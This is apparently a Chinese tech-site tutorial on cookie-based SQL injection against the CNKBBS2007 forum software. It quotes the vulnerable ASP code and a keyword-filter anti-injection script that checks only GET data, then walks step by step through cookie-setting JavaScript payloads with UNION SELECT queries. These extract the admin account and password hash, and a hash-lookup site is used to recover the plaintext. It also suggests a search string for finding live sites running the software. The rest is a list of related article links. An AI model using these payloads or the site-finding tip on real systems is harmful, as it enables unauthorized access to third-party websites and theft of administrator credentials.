cookies是什么?怎么采用cookies注入的方法入侵网站?
现在很多网站都采用了通用防注入程序,那么对于这种网站,我门是否就束手无策了呢?答案是否定的,因为我们可以采用cookie 注入的方法,而很多通用防注入程序对这种注入方式都没有防备。Cookies是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。简单的说,就是当你浏览某网站时,由Web服务器置于你硬盘上的一个非常小的文本文件,它可以记录你的用户ID、密码、浏览过的网页、停留的时间,以及你在网站上所打的文字或是一些选择都记录下来。
在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:
(调用opendb.asp文件)<%Call CheckUserLogin(username)Dim action,s,idid=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
我们再打开"opendb.asp"文件
<%option explicitresponse.buffer="true%">(调用fzr.asp文件)..................以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件<%'--------版权说明------------------'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstrDim fso1,all_tree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)'自定义需要过滤的字串,用 "|" 分隔Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)Fy_Inf = split(Fy_In,"|")For Each Fy_Get In Request.QueryStringFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Thenzruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!
"Response.Write "如是要攻击网站,系统记录了你的操作↓
"Response.Write "操作IP:"&zruserip&"
"Response.Write "操作时间:"&Now&"
"Response.Write "操作页面:"&Request.ServerVariables("URL")&"
"Response.Write "提交方式:GET
"Response.Write "提交参数:"&Fy_Get&"
"Response.Write "提交数据:"&Request.QueryString(Fy_Get)......................
很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)
代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).
原理讲好了,下面我们来学学coolie注入语句吧
cookies的注入语句:alert(document.cookie="id=" escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:
1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)
2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型
4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码
上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)
最后我们来测试下,利用步骤:
1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)
2:把浏览器的URL清空,输入"alert(document.cookie="id=" escape("相应参数id值 and 1=1"));之后会弹出一个框框,
3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)
3:再输入:alert(document.cookie="id=" escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)
4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5
5:再次把地址栏清空,输入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了
6:把得到的密码放入http://www.cmd5.com网站查询,得知管理员的明文密码是admin,在网站的首页我们就可进行登录后台了,我们也可利用关键字"Powered by CNKBBS2007 (5.2)"去网上找使用这系统的网站,(不过不是很多啊)大家去练习下手工的注入吧,可别搞在破坏哟!不过在使用这类注入时,它需要两次手动操作才能完成,这也是容易出错的地方,可要细心才行.
面向目标ip发起ddos攻击的木马工具
DDoS攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的,词文章主要是针对那些对一种被大量肉鸡使用,面向目标IP发起DDoS攻击的木马工具。本篇文章是对一种被大量肉鸡使用,面向目标IP发起DDoS攻击
详情2018-01-04 11:13:04责编:llp 来源:驱动管家什么是rootkit病毒?rootkit病毒的类型及对应措施
Rootkits病毒主要分为两大类:第一种是进程注入式Rootkits,另一种是驱动级Rootkits。第一种Rootkits技术通常通过释放动态链接库(DLL)文件,并将它们注入到可执行文件及系统服务进程中运行,阻止操作系统及应用
详情2018-01-13 11:34:20责编:llp 来源:驱动管家杀毒软件是怎么被破坏的?破坏杀毒软件的方法
最近有调查报告显示,知名品牌的杀毒软件对新型计算机病毒的查杀率只有20%,而漏杀率却高达80%。那么是什么原因造成这种状况的?到底是如今的病毒过于厉害,还是杀毒软件的能力有限?今天我们就通过实例来看看是
详情2018-01-10 10:48:06责编:llp 来源:驱动管家短信验证码真的安全吗?短信验证码诈骗威胁着我们
现在想换个手机越来越麻烦,很多APP要重新下,手机里保存的宝贝也要转移,有时候这些事情甚至让我放弃了换个更好的手机的想发,更不用说换手机号了。各种网站、邮箱、账号的绑定要重新解绑,各种银行要跑去柜台重
详情2018-01-18 11:25:43责编:llp 来源:驱动管家什么是ipc?什么是空会话?
ipc$一 摘要网上关于 ipc$入侵的文章可谓多如牛毛,攻击步骤甚至已经成为了固化的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。不过话虽这样说,我认为这些文章讲解的并不详细,一些内容甚至是错
详情2018-01-05 09:04:38责编:llp 来源:驱动管家为什么企业数据泄密?要如何防范企业数据泄密?
当前企业信息安全、商业机密保护是国内各行业网络管理的热点,在知识经济时代,商业机密的安全管理至关重要。如何防止员工复制电脑文件到U盘携带出去,如何禁止员工通过QQ发送文件将商业机密发送出去,以及如何禁
详情2018-01-06 16:52:46责编:llp 来源:驱动管家黑客入侵无线网络的方法是什么?
现在无线宽频上网越来越流行,但许多无线网络并没有采取安全防护措施,不但易遭黑客入侵,而且事后追查凶手都很困难。专家提醒,黑客入侵无线网络通常采用以下四种手段:方法一:现成的开放网络过程:黑客扫瞄所有开
详情2018-01-04 13:50:16责编:llp 来源:驱动管家oracle教程 oracle的相关问题及解答
1 如何查看ORACLE的隐含参数?ORACLE的显式参数,除了在INIT ORA文件中定义的外,在svrmgrl中用 "show parameter * ",可以显示。但ORACLE还有一些参数是以“_”,开头的。如我们非常熟悉的“_offline_rollback_
详情2018-01-15 16:49:57责编:llp 来源:驱动管家脱壳教程 jdpack如何脱壳?
这是一个加壳软件,软件加壳后可以检测trw及sice,它的1 00版检测到trw或sice时只是提示,到了1 01版,检测到就会出现非法操作 未注册版好像没有时间限制,但是给软件加壳后每次运行就会提示 "Unregistered JDPack Thi
详情2018-01-19 09:35:00责编:llp 来源:驱动管家什么是非对称加密?什么是对称加密?
今天刚好为站点的后台弄了下https,就来分享我了解的吧。密码学最早可以追溯到古希腊罗马时代,那时的加密方法很简单:替换字母。早期的密码学:古希腊人用一种叫 Scytale 的工具加密。更快的工具是 transposi
详情2018-01-15 17:27:37责编:llp 来源:驱动管家
- 内网安全管理 应对企业内网安全挑战的10种策略
- 微信网页版怎么用?怎么在电脑上登录微信网页版?
- 爱奇艺影音播放视频很卡是怎么回事?爱奇艺影音卡顿怎么解决?
- 最简单的设置电脑硬件防火墙的方法
- 什么叫电容话筒?电容话筒的原理是什么
- mac系统的输入法切换快捷键可以用这个方法设置
- 关于电脑显示器无信号的分析解答
- 你知道iphone5怎么设置手机铃声吗?iphone5设置手机铃声的教程
- 荣耀8青春版和荣耀8的区别在哪?
- 电信光纤猫可以查看有人蹭网吗?电信光纤猫wifi设置在哪儿?
- 百度浏览器抢票在哪儿?百度浏览器怎么抢票的?
- Windows2000开放端口扫描只需一个dos命令
- 315晚会曝光微信红包诈骗,同时提醒要提防wifi背后黑手
- 360快剪辑把视频图片等素材导入时该怎么做?
- 360加速球提示内存不足后该怎么解决?
- 工程复印机发生了故障要怎么维修
- rj45接口有哪些分类?rj45接口的介绍
- 电脑的网页背景颜色能不能设置其他的背景颜色
- 电脑输入法图标不见了怎么办?可以用这个方法解决
- 2014刷机软件排行榜 十大刷机软件